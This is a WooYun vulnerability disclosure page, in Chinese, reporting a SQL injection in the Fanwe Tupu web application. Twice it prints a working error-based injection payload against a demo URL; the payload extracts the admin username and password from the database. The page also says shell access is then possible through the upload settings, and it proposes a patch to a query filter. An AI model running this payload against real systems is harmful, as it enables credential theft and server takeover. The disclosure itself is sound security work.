当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-075244

漏洞标题：方维图谱前台SQL注入后台拿shell

相关厂商：fanwe.com

漏洞作者： 蓝莓说

提交时间：2014-09-10 11:41

修复时间：2014-09-15 11:42

公开时间：2014-09-15 11:42

漏洞类型：SQL注射漏洞

危害等级：中

自评Rank：10

漏洞状态：漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-09-10： 细节已通知厂商并且等待厂商处理中
2014-09-15： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

方维图谱前台sql注入后台拿shell

详细说明：

http://t1.fanwe.net:85/index.php?action=index&hot=5'
报错
and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x23,admin_name,0x3a,admin_pwd,0x23) FROM fanwe_admin limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

NV]I9Z{1FO}8_F%TQ53B7~M.jpg


漏洞证明：

http://t1.fanwe.net:85/index.php?action=index&hot=5'
报错
and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x23,admin_name,0x3a,admin_pwd,0x23) FROM fanwe_admin limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

NV]I9Z{1FO}8_F%TQ53B7~M.jpg


后台拿shell位置是 上传设置中注意修复

修复方案：

修复你懂的，建议你都加discuz的防护了但是需要你重新补丁一下db.class.php 

/*if(strpos($sql, '/') === false && strpos($sql, '#') === false && strpos($sql, '-- ') === false) {
			$clean = preg_replace("/'(.+?)'/s", '', $sql);*/ 
			 if (strpos($sql, '/') === false && strpos($sql, '#') === false && strpos($sql, '-- ') === false && strpos($sql, '@') === false && strpos($sql, '`') === false) {
	 $clean = preg_replace("/'(.+?)'/s", '', $sql);


然后在:409行附近添加if语句 	if(strpos($clean, '@') !== false) {
			return '-3';
		}

版权声明：转载请注明来源 蓝莓说@乌云

漏洞回应

厂商回应：

危害等级：无影响厂商忽略

忽略时间：2014-09-15 11:42

厂商回复：

最新状态：

暂无

漏洞评价：

评论